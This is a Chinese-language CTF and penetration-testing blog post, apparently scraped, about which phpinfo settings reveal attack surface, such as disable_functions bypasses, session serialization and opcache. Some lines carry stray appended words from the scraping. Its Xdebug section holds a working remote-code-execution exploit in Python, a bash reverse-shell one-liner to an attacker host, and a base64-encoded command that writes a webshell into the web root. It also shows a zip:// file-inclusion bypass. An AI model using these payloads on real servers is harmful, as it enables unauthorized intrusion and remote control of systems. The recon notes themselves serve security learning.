比賽中或者滲透中若是遇到phpinfo,從裏面發現的一些線索可以對後續的滲透和解題幫助很大,這裏記錄總結一下目前網上比較經常使用的的。php
下圖來源於:https://seaii-blog.com/index.php/2017/10/25/73.htmlcss
能夠看看服務器是否加載了redis、memcache、mongodb、mysql、curl,若是加載了,那麼就能夠適當往這幾個方面考慮,還能夠看看是否支持gopher、是否啓了fastcgi。html
能夠查查旁站、c段什麼的,直接無視cdnmysql
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等nginx
這一欄代表了 php.ini 這個 php 配置文件的位置,在有文件讀取的狀況下能夠進行讀取,在滲透中仍是頗有幫助的。git
這個在文件包含、反序列化還有一些關鍵的 bypass 的時候很是有用github
利用phar/zip協議繞過有後綴的文件包含:include zip:///var/www/html/upload/1.gif#1.phpweb
這個選項設置了文件讀取的時候的目錄限制redis
判斷服務器是否是支持短標籤,這在寫 shell 的時候頗有幫助
文件包含還有反序列化重點關注
session.save_path=」」 –設置session的存儲路徑
session.save_handler=」」 –設定用戶自定義存儲函數,若是想使用PHP內置會話存儲機制以外的可使用本函數(數據庫等方式)
session.auto_start boolen –指定會話模塊是否在請求開始時啓動一個會話,默認爲0不啓動
session.serialize_handler string –定義用來序列化/反序列化的處理器名字。默認使用php
這個也容易致使session處理器不一樣而致使的反序列化漏洞,以前文章裏也說過
https://www.cnblogs.com/wfzWebSecuity/p/11156279.html
php解釋器與應用層的橋樑。
1.FPM/FastCGI 多用於和nginx通訊,固然也可用於其餘web中間件。 2.Apache 2.0 Handler php爲apache提供的專用SAPI 3.Command Line Interface php命令行
有時候咱們上傳了一個webshell卻不能用,有很大多是管理員作了配置,禁用了php執行系統命令的函數。
有時候咱們上傳了一個webshell卻不能用,有很大多是管理員作了配置,禁用了php執行系統命令的函數。
繞過的方式有這麼幾個:
黑名單繞過:
百密一疏,尋找黑名單中漏掉的函數,上圖中禁用的函數算是比較全的了。
好比在編譯php時若是加了-–enable-pcntl選項,就可使用pcntl_exec()來執行命令。
滲透技巧:利用pcntl_exec突破disable_functions
利用ImageMagick漏洞繞過disable_function
利用環境變量LD_PRELOAD來繞過php disable_function
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用擴展庫繞過
綜合:
https://github.com/l3m0n/Bypass_Disable_functions_Shell
上面說的利用擴展庫繞過disable_functions,須要使用dl()
而且開啓這個選項
漏洞利用條件:
xdebug.remote_connect_back
的回連是經過自定義 Header(xdebug.remote_addr_header
)、X-Forwarded-For 和 Remote-Addr 三個肯定的,依次 fallback,因此即便配置了自定義 Header,也能夠經過設置 XFF 頭來指定服務器鏈接,就是讓被調試的服務器去鏈接咱們的惡意主機,此時咱們的惡意主機就能夠和目標服務器進行交互,而且由於是xdebug是支持dbgp的,因此能夠此時讓惡意主機發送惡意指令到目標服務器讓其執行
須要在目標站的phpinfo中看到:
xdebug.remote_connect_back => On => On xdebug.remote_cookie_expire_time => 3600 => 3600 xdebug.remote_enable => On => On
便可使用Xdebug進行鏈接,嘗試直接命令執行
利用exp以下:rr師傅的
import socket ip_port = ('0.0.0.0',9000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print(client_data) data = raw_input('>> ') conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
首先能夠測試一下是否能夠利用,直接使用curl
而後執行exp,監聽本地9000端口,發送惡意payload,訪問vps
反彈shell:
此時直接用
system("bash -i >& /dev/tcp/vps_id/port 0>&1")沒彈回來,可是能curl到,換了個payload,嘗試往網站根目錄下寫shell:
用payload以下,這裏用base64轉一下,防止payload引號發生衝突,衝突寫不進去
shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");
看下/var/www/html下面:
有了上面base64繞過,我又回來試了一下能不能反彈shell,仍是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反彈shell的payload進行編碼一下:
而後vps上。。。。終於彈回來了,exp沒問題,要本身調試一下paylaod,適當把payload編碼一下挺有用的
opcache是緩存文件,他的做用就相似於web項目中的靜態文件的緩存, 好比咱們加載一個網頁, 瀏覽器會自動幫咱們把jpg, css緩存起來, 惟獨php沒有緩存, 每次均須要open文件, 解析代碼, 執行代碼這一過程, 而opcache便可解決這個問題, 代碼會被高速緩存起來, 提高訪問速度。
若是目標網站
opcache.enable => On
便可判斷開啓了opcache,即有開啓了潛在的攻擊面
詳情見0ctf ezdoor解析
https://skysec.top/2018/04/11/0ctf-ezdoor/
https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE
https://www.angelwhu.com/blog/?p=438
https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md
參考(侵刪):
https://paper.seebug.org/397/
https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/
http://www.am0s.com/penetration/322.html
https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
https://seaii-blog.com/index.php/2017/10/25/73.html